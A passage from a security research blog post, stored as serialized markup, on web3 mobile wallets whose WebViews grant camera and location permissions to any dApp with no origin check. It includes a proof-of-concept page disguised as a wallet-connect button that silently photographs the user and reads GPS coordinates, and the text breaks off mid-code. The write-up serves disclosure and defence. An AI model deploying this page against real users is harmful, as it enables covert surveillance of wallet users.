implementations",{"type":23,"tag":24,"props":156769,"children":156770},{},[156771],{"type":28,"value":156772},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":31402,"props":156774,"children":156775},{"style":31404},[156776],{"type":23,"tag":4009,"props":156777,"children":156781},{"src":156778,"alt":156779,"style":156780},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":156783,"children":156784},{},[156785,156787,156793,156795,156801],{"type":28,"value":156786},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":209,"props":156788,"children":156790},{"className":156789},[],[156791],{"type":28,"value":156792},"react-native-webview",{"type":28,"value":156794},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":36,"props":156796,"children":156799},{"href":156797,"rel":156798},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[40],[156800],{"type":28,"value":156671},{"type":28,"value":156802}," method, we see a similar pattern.",{"type":23,"tag":202,"props":156804,"children":156808},{"className":156805,"code":156806,"language":156807,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[156809],{"type":23,"tag":209,"props":156810,"children":156811},{"__ignoreMap":7},[156812,156820,156849,156909,156929,156940],{"type":23,"tag":213,"props":156813,"children":156814},{"class":215,"line":216},[156815],{"type":23,"tag":213,"props":156816,"children":156817},{"style":537},[156818],{"type":28,"value":156819},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":213,"props":156821,"children":156822},{"class":215,"line":226},[156823,156827,156831,156836,156840,156845],{"type":23,"tag":213,"props":156824,"children":156825},{"style":1362},[156826],{"type":28,"value":15637},{"type":23,"tag":213,"props":156828,"children":156829},{"style":220},[156830],{"type":28,"value":400},{"type":23,"tag":213,"props":156832,"children":156833},{"style":268},[156834],{"type":28,"value":156835},"requestedAndroidPermissions",{"type":23,"tag":213,"props":156837,"children":156838},{"style":220},[156839],{"type":28,"value":124},{"type":23,"tag":213,"props":156841,"children":156842},{"style":257},[156843],{"type":28,"value":156844},"isEmpty",{"type":23,"tag":213,"props":156846,"children":156847},{"style":220},[156848],{"type":28,"value":92074},{"type":23,"tag":213,"props":156850,"children":156851},{"class":215,"line":524},[156852,156857,156861,156866,156870,156875,156879,156884,156888,156892,156897,156901,156905],{"type":23,"tag":213,"props":156853,"children":156854},{"style":268},[156855],{"type":28,"value":156856}," request",{"type":23,"tag":213,"props":156858,"children":156859},{"style":220},[156860],{"type":28,"value":124},{"type":23,"tag":213,"props":156862,"children":156863},{"style":257},[156864],{"type":28,"value":156865},"grant",{"type":23,"tag":213,"props":156867,"children":156868},{"style":220},[156869],{"type":28,"value":265},{"type":23,"tag":213,"props":156871,"children":156872},{"style":268},[156873],{"type":28,"value":156874},"grantedPermissions",{"type":23,"tag":213,"props":156876,"children":156877},{"style":220},[156878],{"type":28,"value":124},{"type":23,"tag":213,"props":156880,"children":156881},{"style":257},[156882],{"type":28,"value":156883},"toArray",{"type":23,"tag":213,"props":156885,"children":156886},{"style":220},[156887],{"type":28,"value":265},{"type":23,"tag":213,"props":156889,"children":156890},{"style":1362},[156891],{"type":28,"value":1687},{"type":23,"tag":213,"props":156893,"children":156894},{"style":290},[156895],{"type":28,"value":156896}," String",{"type":23,"tag":213,"props":156898,"children":156899},{"style":220},[156900],{"type":28,"value":3821},{"type":23,"tag":213,"props":156902,"children":156903},{"style":514},[156904],{"type":28,"value":4116},{"type":23,"tag":213,"props":156906,"children":156907},{"style":220},[156908],{"type":28,"value":103565},{"type":23,"tag":213,"props":156910,"children":156911},{"class":215,"line":533},[156912,156917,156921,156925],{"type":23,"tag":213,"props":156913,"children":156914},{"style":220},[156915],{"type":28,"value":156916}," grantedPermissions ",{"type":23,"tag":213,"props":156918,"children":156919},{"style":274},[156920],{"type":28,"value":3190},{"type":23,"tag":213,"props":156922,"children":156923},{"style":230},[156924],{"type":28,"value":70322},{"type":23,"tag":213,"props":156926,"children":156927},{"style":220},[156928],{"type":28,"value":313},{"type":23,"tag":213,"props":156930,"children":156931},{"class":215,"line":543},[156932,156936],{"type":23,"tag":213,"props":156933,"children":156934},{"style":1362},[156935],{"type":28,"value":17040},{"type":23,"tag":213,"props":156937,"children":156938},{"style":220},[156939],{"type":28,"value":313},{"type":23,"tag":213,"props":156941,"children":156942},{"class":215,"line":551},[156943],{"type":23,"tag":213,"props":156944,"children":156945},{"style":220},[156946],{"type":28,"value":1208},{"type":23,"tag":24,"props":156948,"children":156949},{},[156950],{"type":28,"value":156951},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":9693,"props":156953,"children":156955},{"id":156954},"real-world-exploitation",[156956],{"type":28,"value":156957},"Real world exploitation",{"type":23,"tag":24,"props":156959,"children":156960},{},[156961],{"type":28,"value":156962},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":24,"props":156964,"children":156965},{},[156966],{"type":28,"value":156967},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":24,"props":156969,"children":156970},{},[156971,156973,156980],{"type":28,"value":156972},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":36,"props":156974,"children":156977},{"href":156975,"rel":156976},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[40],[156978],{"type":28,"value":156979},"Justson",{"type":28,"value":156981},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":18945,"props":156983,"children":156984},{"id":39562},[156985],{"type":28,"value":34886},{"type":23,"tag":24,"props":156987,"children":156988},{},[156989],{"type":28,"value":156990},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":131,"props":156992,"children":156993},{},[156994,156999,157004],{"type":23,"tag":135,"props":156995,"children":156996},{},[156997],{"type":28,"value":156998},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":135,"props":157000,"children":157001},{},[157002],{"type":28,"value":157003},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":135,"props":157005,"children":157006},{},[157007],{"type":28,"value":157008},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":202,"props":157010,"children":157012},{"className":50074,"code":157011,"language":32438,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[157013],{"type":23,"tag":209,"props":157014,"children":157015},{"__ignoreMap":7},[157016,157036,157051,157067,157097,157120,157135,157150,157182,157228,157264,157292,157307,157353,157399,157407,157475,157503,157518,157526,157533,157553,157613,157654,157683,157724,157731,157760,157798,157835,157842,157849,157882,157903,157910,157972,158028,158064,158110,158118,158125,158168,158201,158326,158359,158366,158373,158380,158392,158407,158422],{"type":23,"tag":213,"props":157017,"children":157018},{"class":215,"line":216},[157019,157023,157027,157032],{"type":23,"tag":213,"props":157020,"children":157021},{"style":32431},[157022],{"type":28,"value":34282},{"type":23,"tag":213,"props":157024,"children":157025},{"style":230},[157026],{"type":28,"value":34287},{"type":23,"tag":213,"props":157028,"children":157029},{"style":268},[157030],{"type":28,"value":157031}," html",{"type":23,"tag":213,"props":157033,"children":157034},{"style":32431},[157035],{"type":28,"value":6084},{"type":23,"tag":213,"props":157037,"children":157038},{"class":215,"line":226},[157039,157043,157047],{"type":23,"tag":213,"props":157040,"children":157041},{"style":32431},[157042],{"type":28,"value":434},{"type":23,"tag":213,"props":157044,"children":157045},{"style":230},[157046],{"type":28,"value":32438},{"type":23,"tag":213,"props":157048,"children":157049},{"style":32431},[157050],{"type":28,"value":6084},{"type":23,"tag":213,"props":157052,"children":157053},{"class":215,"line":524},[157054,157058,157063],{"type":23,"tag":213,"props":157055,"children":157056},{"style":32431},[157057],{"type":28,"value":434},{"type":23,"tag":213,"props":157059,"children":157060},{"style":230},[157061],{"type":28,"value":157062},"head",{"type":23,"tag":213,"props":157064,"children":157065},{"style":32431},[157066],{"type":28,"value":6084},{"type":23,"tag":213,"props":157068,"children":157069},{"class":215,"line":533},[157070,157074,157079,157084,157088,157093],{"type":23,"tag":213,"props":157071,"children":157072},{"style":32431},[157073],{"type":28,"value":32501},{"type":23,"tag":213,"props":157075,"children":157076},{"style":230},[157077],{"type":28,"value":157078},"meta",{"type":23,"tag":213,"props":157080,"children":157081},{"style":268},[157082],{"type":28,"value":157083}," charset",{"type":23,"tag":213,"props":157085,"children":157086},{"style":220},[157087],{"type":28,"value":3190},{"type":23,"tag":213,"props":157089,"children":157090},{"style":246},[157091],{"type":28,"value":157092},"\"utf-8\"",{"type":23,"tag":213,"props":157094,"children":157095},{"style":32431},[157096],{"type":28,"value":6084},{"type":23,"tag":213,"props":157098,"children":157099},{"class":215,"line":543},[157100,157104,157108,157112,157116],{"type":23,"tag":213,"props":157101,"children":157102},{"style":32431},[157103],{"type":28,"value":32501},{"type":23,"tag":213,"props":157105,"children":157106},{"style":230},[157107],{"type":28,"value":34360},{"type":23,"tag":213,"props":157109,"children":157110},{"style":32431},[157111],{"type":28,"value":50118},{"type":23,"tag":213,"props":157113,"children":157114},{"style":230},[157115],{"type":28,"value":34360},{"type":23,"tag":213,"props":157117,"children":157118},{"style":32431},[157119],{"type":28,"value":6084},{"type":23,"tag":213,"props":157121,"children":157122},{"class":215,"line":551},[157123,157127,157131],{"type":23,"tag":213,"props":157124,"children":157125},{"style":32431},[157126],{"type":28,"value":32485},{"type":23,"tag":213,"props":157128,"children":157129},{"style":230},[157130],{"type":28,"value":157062},{"type":23,"tag":213,"props":157132,"children":157133},{"style":32431},[157134],{"type":28,"value":6084},{"type":23,"tag":213,"props":157136,"children":157137},{"class":215,"line":570},[157138,157142,157146],{"type":23,"tag":213,"props":157139,"children":157140},{"style":32431},[157141],{"type":28,"value":434},{"type":23,"tag":213,"props":157143,"children":157144},{"style":230},[157145],{"type":28,"value":32455},{"type":23,"tag":213,"props":157147,"children":157148},{"style":32431},[157149],{"type":28,"value":6084},{"type":23,"tag":213,"props":157151,"children":157152},{"class":215,"line":655},[157153,157157,157161,157165,157170,157174,157178],{"type":23,"tag":213,"props":157154,"children":157155},{"style":32431},[157156],{"type":28,"value":32501},{"type":23,"tag":213,"props":157158,"children":157159},{"style":230},[157160],{"type":28,"value":47},{"type":23,"tag":213,"props":157162,"children":157163},{"style":32431},[157164],{"type":28,"value":10545},{"type":23,"tag":213,"props":157166,"children":157167},{"style":220},[157168],{"type":28,"value":157169},"Smile dApp :)",{"type":23,"tag":213,"props":157171,"children":157172},{"style":32431},[157173],{"type":28,"value":32485},{"type":23,"tag":213,"props":157175,"children":157176},{"style":230},[157177],{"type":28,"value":47},{"type":23,"tag":213,"props":157179,"children":157180},{"style":32431},[157181],{"type":28,"value":6084},{"type":23,"tag":213,"props":157183,"children":157184},{"class":215,"line":1176},[157185,157189,157194,157198,157202,157207,157211,157216,157220,157224],{"type":23,"tag":213,"props":157186,"children":157187},{"style":32431},[157188],{"type":28,"value":32501},{"type":23,"tag":213,"props":157190,"children":157191},{"style":230},[157192],{"type":28,"value":157193},"button",{"type":23,"tag":213,"props":157195,"children":157196},{"style":268},[157197],{"type":28,"value":32511},{"type":23,"tag":213,"props":157199,"children":157200},{"style":220},[157201],{"type":28,"value":3190},{"type":23,"tag":213,"props":157203,"children":157204},{"style":246},[157205],{"type":28,"value":157206},"\"connect\"",{"type":23,"tag":213,"props":157208,"children":157209},{"style":32431},[157210],{"type":28,"value":10545},{"type":23,"tag":213,"props":157212,"children":157213},{"style":220},[157214],{"type":28,"value":157215},"Connect your wallet!",{"type":23,"tag":213,"props":157217,"children":157218},{"style":32431},[157219],{"type":28,"value":32485},{"type":23,"tag":213,"props":157221,"children":157222},{"style":230},[157223],{"type":28,"value":157193},{"type":23,"tag":213,"props":157225,"children":157226},{"style":32431},[157227],{"type":28,"value":6084},{"type":23,"tag":213,"props":157229,"children":157230},{"class":215,"line":1202},[157231,157235,157239,157243,157247,157252,157256,157260],{"type":23,"tag":213,"props":157232,"children":157233},{"style":32431},[157234],{"type":28,"value":32501},{"type":23,"tag":213,"props":157236,"children":157237},{"style":230},[157238],{"type":28,"value":202},{"type":23,"tag":213,"props":157240,"children":157241},{"style":268},[157242],{"type":28,"value":32511},{"type":23,"tag":213,"props":157244,"children":157245},{"style":220},[157246],{"type":28,"value":3190},{"type":23,"tag":213,"props":157248,"children":157249},{"style":246},[157250],{"type":28,"value":157251},"\"gps\"",{"type":23,"tag":213,"props":157253,"children":157254},{"style":32431},[157255],{"type":28,"value":50118},{"type":23,"tag":213,"props":157257,"children":157258},{"style":230},[157259],{"type":28,"value":202},{"type":23,"tag":213,"props":157261,"children":157262},{"style":32431},[157263],{"type":28,"value":6084},{"type":23,"tag":213,"props":157265,"children":157266},{"class":215,"line":1758},[157267,157271,157275,157279,157283,157288],{"type":23,"tag":213,"props":157268,"children":157269},{"style":32431},[157270],{"type":28,"value":32501},{"type":23,"tag":213,"props":157272,"children":157273},{"style":230},[157274],{"type":28,"value":4009},{"type":23,"tag":213,"props":157276,"children":157277},{"style":268},[157278],{"type":28,"value":32511},{"type":23,"tag":213,"props":157280,"children":157281},{"style":220},[157282],{"type":28,"value":3190},{"type":23,"tag":213,"props":157284,"children":157285},{"style":246},[157286],{"type":28,"value":157287},"\"pic\"",{"type":23,"tag":213,"props":157289,"children":157290},{"style":32431},[157291],{"type":28,"value":6084},{"type":23,"tag":213,"props":157293,"children":157294},{"class":215,"line":1767},[157295,157299,157303],{"type":23,"tag":213,"props":157296,"children":157297},{"style":32431},[157298],{"type":28,"value":32501},{"type":23,"tag":213,"props":157300,"children":157301},{"style":230},[157302],{"type":28,"value":32471},{"type":23,"tag":213,"props":157304,"children":157305},{"style":32431},[157306],{"type":28,"value":6084},{"type":23,"tag":213,"props":157308,"children":157309},{"class":215,"line":1789},[157310,157315,157319,157324,157328,157333,157337,157341,157345,157349],{"type":23,"tag":213,"props":157311,"children":157312},{"style":268},[157313],{"type":28,"value":157314}," window",{"type":23,"tag":213,"props":157316,"children":157317},{"style":274},[157318],{"type":28,"value":124},{"type":23,"tag":213,"props":157320,"children":157321},{"style":257},[157322],{"type":28,"value":157323},"addEventListener",{"type":23,"tag":213,"props":157325,"children":157326},{"style":274},[157327],{"type":28,"value":265},{"type":23,"tag":213,"props":157329,"children":157330},{"style":246},[157331],{"type":28,"value":157332},"'unhandledrejection'",{"type":23,"tag":213,"props":157334,"children":157335},{"style":274},[157336],{"type":28,"value":424},{"type":23,"tag":213,"props":157338,"children":157339},{"style":230},[157340],{"type":28,"value":31433},{"type":23,"tag":213,"props":157342,"children":157343},{"style":274},[157344],{"type":28,"value":400},{"type":23,"tag":213,"props":157346,"children":157347},{"style":268},[157348],{"type":28,"value":82181},{"type":23,"tag":213,"props":157350,"children":157351},{"style":274},[157352],{"type":28,"value":14870},{"type":23,"tag":213,"props":157354,"children":157355},{"class":215,"line":1812},[157356,157361,157365,157370,157374,157378,157382,157387,157391,157395],{"type":23,"tag":213,"props":157357,"children":157358},{"style":257},[157359],{"type":28,"value":157360}," alert",{"type":23,"tag":213,"props":157362,"children":157363},{"style":274},[157364],{"type":28,"value":265},{"type":23,"tag":213,"props":157366,"children":157367},{"style":246},[157368],{"type":28,"value":157369},"`Unhandled Promise Rejection: ",{"type":23,"tag":213,"props":157371,"children":157372},{"style":230},[157373],{"type":28,"value":34165},{"type":23,"tag":213,"props":157375,"children":157376},{"style":268},[157377],{"type":28,"value":82181},{"type":23,"tag":213,"props":157379,"children":157380},{"style":274},[157381],{"type":28,"value":124},{"type":23,"tag":213,"props":157383,"children":157384},{"style":268},[157385],{"type":28,"value":157386},"reason",{"type":23,"tag":213,"props":157388,"children":157389},{"style":230},[157390],{"type":28,"value":34197},{"type":23,"tag":213,"props":157392,"children":157393},{"style":246},[157394],{"type":28,"value":10465},{"type":23,"tag":213,"props":157396,"children":157397},{"style":274},[157398],{"type":28,"value":2867},{"type":23,"tag":213,"props":157400,"children":157401},{"class":215,"line":1838},[157402],{"type":23,"tag":213,"props":157403,"children":157404},{"style":274},[157405],{"type":28,"value":157406}," });\n",{"type":23,"tag":213,"props":157408,"children":157409},{"class":215,"line":1851},[157410,157414,157418,157422,157426,157430,157434,157438,157442,157446,157450,157454,157458,157463,157467,157471],{"type":23,"tag":213,"props":157411,"children":157412},{"style":268},[157413],{"type":28,"value":157314},{"type":23,"tag":213,"props":157415,"children":157416},{"style":274},[157417],{"type":28,"value":124},{"type":23,"tag":213,"props":157419,"children":157420},{"style":257},[157421],{"type":28,"value":32744},{"type":23,"tag":213,"props":157423,"children":157424},{"style":274},[157425],{"type":28,"value":32967},{"type":23,"tag":213,"props":157427,"children":157428},{"style":230},[157429],{"type":28,"value":31433},{"type":23,"tag":213,"props":157431,"children":157432},{"style":274},[157433],{"type":28,"value":400},{"type":23,"tag":213,"props":157435,"children":157436},{"style":268},[157437],{"type":28,"value":57999},{"type":23,"tag":213,"props":157439,"children":157440},{"style":274},[157441],{"type":28,"value":424},{"type":23,"tag":213,"props":157443,"children":157444},{"style":268},[157445],{"type":28,"value":70430},{"type":23,"tag":213,"props":157447,"children":157448},{"style":274},[157449],{"type":28,"value":424},{"type":23,"tag":213,"props":157451,"children":157452},{"style":268},[157453],{"type":28,"value":215},{"type":23,"tag":213,"props":157455,"children":157456},{"style":274},[157457],{"type":28,"value":424},{"type":23,"tag":213,"props":157459,"children":157460},{"style":268},[157461],{"type":28,"value":157462},"col",{"type":23,"tag":213,"props":157464,"children":157465},{"style":274},[157466],{"type":28,"value":424},{"type":23,"tag":213,"props":157468,"children":157469},{"style":268},[157470],{"type":28,"value":14929},{"type":23,"tag":213,"props":157472,"children":157473},{"style":274},[157474],{"type":28,"value":14870},{"type":23,"tag":213,"props":157476,"children":157477},{"class":215,"line":1864},[157478,157482,157486,157491,157495,157499],{"type":23,"tag":213,"props":157479,"children":157480},{"style":257},[157481],{"type":28,"value":157360},{"type":23,"tag":213,"props":157483,"children":157484},{"style":274},[157485],{"type":28,"value":265},{"type":23,"tag":213,"props":157487,"children":157488},{"style":246},[157489],{"type":28,"value":157490},"'onerror: '",{"type":23,"tag":213,"props":157492,"children":157493},{"style":274},[157494],{"type":28,"value":34753},{"type":23,"tag":213,"props":157496,"children":157497},{"style":268},[157498],{"type":28,"value":57999},{"type":23,"tag":213,"props":157500,"children":157501},{"style":274},[157502],{"type":28,"value":2867},{"type":23,"tag":213,"props":157504,"children":157505},{"class":215,"line":1890},[157506,157510,157514],{"type":23,"tag":213,"props":157507,"children":157508},{"style":1362},[157509],{"type":28,"value":79129},{"type":23,"tag":213,"props":157511,"children":157512},{"style":230},[157513],{"type":28,"value":9143},{"type":23,"tag":213,"props":157515,"children":157516},{"style":274},[157517],{"type":28,"value":313},{"type":23,"tag":213,"props":157519,"children":157520},{"class":215,"line":1899},[157521],{"type":23,"tag":213,"props":157522,"children":157523},{"style":274},[157524],{"type":28,"value":157525}," };\n",{"type":23,"tag":213,"props":157527,"children":157528},{"class":215,"line":1912},[157529],{"type":23,"tag":213,"props":157530,"children":157531},{"emptyLinePlaceholder":18},[157532],{"type":28,"value":530},{"type":23,"tag":213,"props":157534,"children":157535},{"class":215,"line":1921},[157536,157541,157545,157549],{"type":23,"tag":213,"props":157537,"children":157538},{"style":230},[157539],{"type":28,"value":157540}," async",{"type":23,"tag":213,"props":157542,"children":157543},{"style":230},[157544],{"type":28,"value":38271},{"type":23,"tag":213,"props":157546,"children":157547},{"style":257},[157548],{"type":28,"value":90833},{"type":23,"tag":213,"props":157550,"children":157551},{"style":274},[157552],{"type":28,"value":15791},{"type":23,"tag":213,"props":157554,"children":157555},{"class":215,"line":3879},[157556,157560,157565,157569,157573,157578,157582,157587,157591,157596,157600,157605,157609],{"type":23,"tag":213,"props":157557,"children":157558},{"style":230},[157559],{"type":28,"value":151086},{"type":23,"tag":213,"props":157561,"children":157562},{"style":268},[157563],{"type":28,"value":157564}," stream",{"type":23,"tag":213,"props":157566,"children":157567},{"style":274},[157568],{"type":28,"value":32967},{"type":23,"tag":213,"props":157570,"children":157571},{"style":1362},[157572],{"type":28,"value":32972},{"type":23,"tag":213,"props":157574,"children":157575},{"style":268},[157576],{"type":28,"value":157577}," navigator",{"type":23,"tag":213,"props":157579,"children":157580},{"style":274},[157581],{"type":28,"value":124},{"type":23,"tag":213,"props":157583,"children":157584},{"style":268},[157585],{"type":28,"value":157586},"mediaDevices",{"type":23,"tag":213,"props":157588,"children":157589},{"style":274},[157590],{"type":28,"value":124},{"type":23,"tag":213,"props":157592,"children":157593},{"style":257},[157594],{"type":28,"value":157595},"getUserMedia",{"type":23,"tag":213,"props":157597,"children":157598},{"style":274},[157599],{"type":28,"value":31554},{"type":23,"tag":213,"props":157601,"children":157602},{"style":268},[157603],{"type":28,"value":157604},"video:",{"type":23,"tag":213,"props":157606,"children":157607},{"style":230},[157608],{"type":28,"value":12551},{"type":23,"tag":213,"props":157610,"children":157611},{"style":274},[157612],{"type":28,"value":38892},{"type":23,"tag":213,"props":157614,"children":157615},{"class":215,"line":3887},[157616,157620,157625,157629,157633,157637,157641,157645,157650],{"type":23,"tag":213,"props":157617,"children":157618},{"style":230},[157619],{"type":28,"value":151086},{"type":23,"tag":213,"props":157621,"children":157622},{"style":268},[157623],{"type":28,"value":157624}," video",{"type":23,"tag":213,"props":157626,"children":157627},{"style":274},[157628],{"type":28,"value":32967},{"type":23,"tag":213,"props":157630,"children":157631},{"style":268},[157632],{"type":28,"value":32763},{"type":23,"tag":213,"props":157634,"children":157635},{"style":274},[157636],{"type":28,"value":124},{"type":23,"tag":213,"props":157638,"children":157639},{"style":257},[157640],{"type":28,"value":36779},{"type":23,"tag":213,"props":157642,"children":157643},{"style":274},[157644],{"type":28,"value":265},{"type":23,"tag":213,"props":157646,"children":157647},{"style":246},[157648],{"type":28,"value":157649},"\"video\"",{"type":23,"tag":213,"props":157651,"children":157652},{"style":274},[157653],{"type":28,"value":2867},{"type":23,"tag":213,"props":157655,"children":157656},{"class":215,"line":3918},[157657,157662,157666,157671,157675,157679],{"type":23,"tag":213,"props":157658,"children":157659},{"style":268},[157660],{"type":28,"value":157661}," video",{"type":23,"tag":213,"props":157663,"children":157664},{"style":274},[157665],{"type":28,"value":124},{"type":23,"tag":213,"props":157667,"children":157668},{"style":268},[157669],{"type":28,"value":157670},"srcObject",{"type":23,"tag":213,"props":157672,"children":157673},{"style":274},[157674],{"type":28,"value":32967},{"type":23,"tag":213,"props":157676,"children":157677},{"style":268},[157678],{"type":28,"value":36319},{"type":23,"tag":213,"props":157680,"children":157681},{"style":274},[157682],{"type":28,"value":313},{"type":23,"tag":213,"props":157684,"children":157685},{"class":215,"line":3926},[157686,157690,157695,157699,157703,157707,157711,157715,157720],{"type":23,"tag":213,"props":157687,"children":157688},{"style":230},[157689],{"type":28,"value":151086},{"type":23,"tag":213,"props":157691,"children":157692},{"style":268},[157693],{"type":28,"value":157694}," canvas",{"type":23,"tag":213,"props":157696,"children":157697},{"style":274},[157698],{"type":28,"value":32967},{"type":23,"tag":213,"props":157700,"children":157701},{"style":268},[157702],{"type":28,"value":32763},{"type":23,"tag":213,"props":157704,"children":157705},{"style":274},[157706],{"type":28,"value":124},{"type":23,"tag":213,"props":157708,"children":157709},{"style":257},[157710],{"type":28,"value":36779},{"type":23,"tag":213,"props":157712,"children":157713},{"style":274},[157714],{"type":28,"value":265},{"type":23,"tag":213,"props":157716,"children":157717},{"style":246},[157718],{"type":28,"value":157719},"\"canvas\"",{"type":23,"tag":213,"props":157721,"children":157722},{"style":274},[157723],{"type":28,"value":2867},{"type":23,"tag":213,"props":157725,"children":157726},{"class":215,"line":3986},[157727],{"type":23,"tag":213,"props":157728,"children":157729},{"emptyLinePlaceholder":18},[157730],{"type":28,"value":530},{"type":23,"tag":213,"props":157732,"children":157733},{"class":215,"line":9132},[157734,157738,157742,157747,157752,157756],{"type":23,"tag":213,"props":157735,"children":157736},{"style":268},[157737],{"type":28,"value":157661},{"type":23,"tag":213,"props":157739,"children":157740},{"style":274},[157741],{"type":28,"value":124},{"type":23,"tag":213,"props":157743,"children":157744},{"style":257},[157745],{"type":28,"value":157746},"onloadedmetadata",{"type":23,"tag":213,"props":157748,"children":157749},{"style":274},[157750],{"type":28,"value":157751}," = () ",{"type":23,"tag":213,"props":157753,"children":157754},{"style":230},[157755],{"type":28,"value":1445},{"type":23,"tag":213,"props":157757,"children":157758},{"style":274},[157759],{"type":28,"value":1375},{"type":23,"tag":213,"props":157761,"children":157762},{"class":215,"line":9150},[157763,157768,157772,157777,157781,157785,157789,157794],{"type":23,"tag":213,"props":157764,"children":157765},{"style":268},[157766],{"type":28,"value":157767}," canvas",{"type":23,"tag":213,"props":157769,"children":157770},{"style":274},[157771],{"type":28,"value":124},{"type":23,"tag":213,"props":157773,"children":157774},{"style":268},[157775],{"type":28,"value":157776},"width",{"type":23,"tag":213,"props":157778,"children":157779},{"style":274},[157780],{"type":28,"value":32967},{"type":23,"tag":213,"props":157782,"children":157783},{"style":268},[157784],{"type":28,"value":131911},{"type":23,"tag":213,"props":157786,"children":157787},{"style":274},[157788],{"type":28,"value":124},{"type":23,"tag":213,"props":157790,"children":157791},{"style":268},[157792],{"type":28,"value":157793},"videoWidth",{"type":23,"tag":213,"props":157795,"children":157796},{"style":274},[157797],{"type":28,"value":313},{"type":23,"tag":213,"props":157799,"children":157800},{"class":215,"line":9195},[157801,157805,157809,157814,157818,157822,157826,157831],{"type":23,"tag":213,"props":157802,"children":157803},{"style":268},[157804],{"type":28,"value":157767},{"type":23,"tag":213,"props":157806,"children":157807},{"style":274},[157808],{"type":28,"value":124},{"type":23,"tag":213,"props":157810,"children":157811},{"style":268},[157812],{"type":28,"value":157813},"height",{"type":23,"tag":213,"props":157815,"children":157816},{"style":274},[157817],{"type":28,"value":32967},{"type":23,"tag":213,"props":157819,"children":157820},{"style":268},[157821],{"type":28,"value":131911},{"type":23,"tag":213,"props":157823,"children":157824},{"style":274},[157825],{"type":28,"value":124},{"type":23,"tag":213,"props":157827,"children":157828},{"style":268},[157829],{"type":28,"value":157830},"videoHeight",{"type":23,"tag":213,"props":157832,"children":157833},{"style":274},[157834],{"type":28,"value":313},{"type":23,"tag":213,"props":157836,"children":157837},{"class":215,"line":9301},[157838],{"type":23,"tag":213,"props":157839,"children":157840},{"style":274},[157841],{"type":28,"value":48126},{"type":23,"tag":213,"props":157843,"children":157844},{"class":215,"line":23557},[157845],{"type":23,"tag":213,"props":157846,"children":157847},{"emptyLinePlaceholder":18},[157848],{"type":28,"value":530},{"type":23,"tag":213,"props":157850,"children":157851},{"class":215,"line":23592},[157852,157857,157861,157866,157870,157874,157878],{"type":23,"tag":213,"props":157853,"children":157854},{"style":268},[157855],{"type":28,"value":157856}," 